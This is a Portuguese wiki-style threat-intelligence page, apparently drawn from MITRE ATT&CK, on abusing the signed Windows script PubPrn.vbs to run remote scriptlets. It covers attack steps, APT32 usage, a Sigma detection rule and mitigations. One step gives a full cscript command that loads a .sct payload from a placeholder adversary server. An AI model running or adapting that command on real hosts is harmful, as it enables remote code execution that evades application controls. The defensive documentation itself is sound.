# T1216.001 - PubPrn
## Técnica Pai
Sub-técnica de [[t1216-system-script-proxy-execution|T1216 - System Script Proxy Execution]], que abrange o uso de scripts legítimos assinados pela Microsoft para execução proxy de código malicioso, contornando controles de aplicação como AppLocker e Windows Defender Application Control (WDAC).
## Descrição
Adversários podem abusar do script `PubPrn.vbs` para executar código malicioso hospedado remotamente por meio de um binário e script legítimos e assinados pela Microsoft. O `PubPrn.vbs` é um script [[t1059-005-visual-basic|Visual Basic Script]] originalmente projetado para públicar impressoras em serviços de domínio do Active Directory (AD DS). Por ser assinado pela Microsoft e parte integrante do sistema operacional Windows, ele representa um vetor atraente para a técnica de Living-off-the-Land (LotL).
O script é normalmente executado via [[t1059-003-windows-command-shell|Windows Command Shell]] usando o interpretador `Cscript.exe`. Sua funcionalidade legítima é públicar impressoras no AD, passando como primeiro parâmetro o servidor de impressão e como segundo parâmetro o caminho LDAP do contêiner de destino. O abuso consiste em substituir o segundo parâmetro por um moniker `script:` apontando para um arquivo scriptlet (`.sct`) hospedado remotamente via HTTP ou HTTPS.
A técnica é particularmente eficaz porque o `PubPrn.vbs` carrega e executa o scriptlet remoto sem válidação adequada do protocolo no segundo parâmetro em versões mais antigas do Windows - contornando controles baseados em assinatura de código, pois o script em si é legítimo e assinado. Em versões modernas do Windows 10 e posteriores, a Microsoft corrigiu essa lacuna limitando o segundo parâmetro ao protocolo `LDAP://`, bloqueando o uso de `script:` para referências remotas.
## Como Funciona
O fluxo de execução do abuso explora a forma como o `PubPrn.vbs` processa seus parâmetros de entrada sem válidação suficiente de esquema de URL em versões vulneráveis:
1. **Preparação do payload:** o adversário cria um arquivo scriptlet `.sct` (XML com código VBScript ou JScript embutido) e o hospeda em servidor web controlado por ele, acessível via HTTPS.
2. **Execução via linha de comando:** o adversário executa o seguinte comando no host comprometido:
`cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://servidor-adversario.com/payload.sct`
3. **Carregamento remoto:** o `PubPrn.vbs` processa o segundo parâmetro e, interpretando o moniker `script:`, faz uma requisição HTTP(S) ao servidor remoto e carrega o conteúdo do `.sct`.
4. **Execução do scriptlet:** o mecanismo COM do Windows instancia o scriptlet remoto e executa o código nele contido com os privilégios do processo `Cscript.exe` - tipicamente os mesmos do usuário logado.
5. **Evasão:** soluções de segurança que verificam apenas assinatura de código do binário ou script executado verão apenas `cscript.exe` executando `pubprn.vbs` (ambos legítimos), sem inspecionar o conteúdo do segundo parâmetro ou a requisição de rede gerada.
O ataque é classificado como proxy de execução porque o código malicioso nunca é gravado em disco no host comprometido antes da execução - reduzindo a superfície de detecção para soluções de EDR baseadas em análise de arquivos.
## Attack Flow
```mermaid
graph TB
A[Acesso inicial ao host Windows] --> B[Localização do PubPrn.vbs<br/>C:\Windows\System32\Printing_Admin_Scripts]
B --> C[Hospedagem de scriptlet .sct<br/>em servidor remoto controlado]
C --> D[Execução via Cscript.exe<br/>com parâmetro script: remoto]
D --> E[Requisição HTTP/HTTPS<br/>para servidor adversário]
E --> F[Carregamento e execução<br/>do scriptlet remoto via COM]
F --> G[Payload executado em memória<br/>sem gravação em disco]
G --> H[Evasão de AppLocker<br/>e controles de assinatura]
H --> I[Execução de comando C2<br/>Download de stage seguinte<br/>Movimento lateral]
```
## Exemplos de Uso
**APT32 (OceanLotus):** O grupo vietnamita [[g0050-apt32|APT32]] é o ator ameaça mais documentado utilizando `PubPrn.vbs` como vetor de execução. Em campanhas direcionadas a organizações no Sudeste Asiático e em empresas multinacionais, o grupo utilizou essa técnica para executar payloads de segunda etapa hospedados em infraestrutura C2, contornando soluções de segurança baseadas em listas de permissão. O APT32 é conhecido por sofisticação técnica e uso extensivo de LOLBins (Living-off-the-Land Binaries).
A técnica é frequentemente combinada com [[t1059-005-visual-basic|abuso de VBScript]], [[t1071-001-web-protocols|comúnicações C2 via protocolos web]] e [[t1027-obfuscated-files-or-information|ofuscação de payload]] para dificultar análise e detecção.
## Detecção
```yaml
title: Detecção - Execução Proxy via PubPrn.vbs com Referência Remota
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_pubprn:
Image|endswith:
- "\cscript.exe"
- "\wscript.exe"
CommandLine|contains:
- "pubprn"
- "pubprn.vbs"
selection_remote_script:
CommandLine|contains:
- "script:"
- "http://"
- "https://"
selection_network:
EventType: "network_connection"
Image|endswith: "\cscript.exe"
Initiated: "true"
condition: (selection_pubprn and selection_remote_script) or selection_network
level: high
```
> Monitorar também eventos de auditoria de processo (Event ID 4688) e logs do Sysmon (Event ID 1 - Process Creaté, Event ID 3 - Network Connection) correlacionando `cscript.exe` gerando conexões de rede não esperadas.
## Mitigação
| ID | Mitigação | Descrição |
|----|-----------|-----------|
| M1038 | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Implementar AppLocker ou WDAC com regras que bloqueiem execução de scripts VBS por usuários não privilegiados; bloquear `pubprn.vbs` específicamente se não há necessidade de uso em ambiente |
| M1040 | [[m1040-behavior-prevention-on-endpoint\|M1040 - Behavior Prevention on Endpoint]] | Soluções de EDR com análise comportamental devem detectar `cscript.exe` ou `wscript.exe` realizando requisições de rede não esperadas ou executando scriptlets remotos |
## Contexto Brasil/LATAM
O abuso de scripts legítimos do Windows como `PubPrn.vbs` é uma técnica amplamente utilizada em campanhas contra organizações brasileiras e latino-americanas, particularmente em ataques de espionagem corporativa e campanhas de [[t1566-phishing|phishing]] direcionado (spear-phishing). A técnica LotL é especialmente eficaz em ambientes onde soluções de segurança são configuradas para confiar em binários e scripts assinados pela Microsoft.
O [[g0050-apt32|APT32]], principal ator documentado usando esta sub-técnica, tem histórico de campanhas contra empresas multinacionais com operações no Vietnã e no Sudeste Asiático - com potencial interesse em filiais e parceiros na América Latina, especialmente em setores de manufatura, energia e governo.
Equipes de segurança no Brasil devem aténtar para o fato de que versões desatualizadas do Windows (anteriores ao Windows 10 com patches recentes) permanecem vulneráveis a essa técnica. Ambientes com grande parque de sistemas legados - comuns em órgãos públicos e empresas de médio porte no Brasil - são especialmente suscetíveis.
A mitigação mais eficaz é a atualização do sistema operacional e a implementação de políticas de execução de scripts via Group Policy Objects (GPO), complementada por monitoramento de processos e conexões de rede incomuns originadas por interpretadores de script.
## Referências
- [[t1216-system-script-proxy-execution|T1216 - System Script Proxy Execution]]
- [[g0050-apt32|APT32 (OceanLotus)]]
- [[t1059-005-visual-basic|T1059.005 - Visual Basic]]
- [[t1059-003-windows-command-shell|T1059.003 - Windows Command Shell]]
- [[m1038-execution-prevention|M1038 - Execution Prevention]]
- [[m1040-behavior-prevention-on-endpoint|M1040 - Behavior Prevention on Endpoint]]
- [[t1027-obfuscated-files-or-information|T1027 - Obfuscated Files or Information]]
- [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]]
*Fonte: MITRE ATT&CK - T1216.001*